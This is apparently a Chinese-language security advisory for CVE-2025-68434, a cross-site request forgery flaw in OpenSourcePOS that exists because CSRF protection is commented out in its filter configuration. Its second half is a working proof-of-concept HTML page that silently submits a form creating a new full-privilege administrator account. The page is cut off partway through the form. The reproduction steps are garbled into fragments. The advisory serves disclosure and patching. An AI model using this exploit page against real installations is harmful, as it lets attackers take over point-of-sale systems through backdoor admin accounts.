| 元数据 | 详情 |
|---|---|
| CVE ID | CVE-2025-68434 |
| 严重性 | 严重(8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| 漏洞类型 | 跨站请求伪造(CWE-352) |
| 受影响版本 | OpenSourcePOS v3.4.0, v3.4.1 |
| 修复版本 | v3.4.2 |
| 受影响组件 | app/Config/Filters.php(全局安全过滤器) |
| 报告者 | Aditya Singh (Nixon-H) |
在 OpenSourcePOS 的核心安全配置中发现了一个**严重的跨站请求伪造(CSRF)**漏洞。由于一个从未被解决的临时开发“TODO”,应用的全局 CSRF 保护机制在 app/Config/Filters.php 文件中被显式禁用。
此配置错误导致应用在未验证有效防伪造令牌的情况下接受状态更改的 HTTP 请求(POST)。未经身份验证的远程攻击者可以通过诱使已登录的管理员访问恶意页面来利用此漏洞。攻击者的页面将静默地迫使受害者的浏览器执行管理操作;具体来说,创建一个具有完全权限的新“后门”管理员账户,从而导致系统完全被接管。
该漏洞位于全局过滤器配置(app/Config/Filters.php)中。在 CodeIgniter 4 中,$globals 数组决定了哪些过滤器在每个请求上运行。
在受影响版本中,csrf 过滤器在 before 执行列表中被注释掉,从而实际上对整个应用禁用了 CSRF 保护。
易受攻击的代码(app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
由于该行被注释掉,负责检查 csrf_token_name 的中间件永远不会执行。应用接受来自任何来源的任何 POST 请求,仅依赖会话 cookie(ospos_session)进行身份验证。
csrf_exploit.html 文件。valid_12345)。POC/csrf_exploit.html)这是用于创建具有完全权限的恶意管理员的确切载荷:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">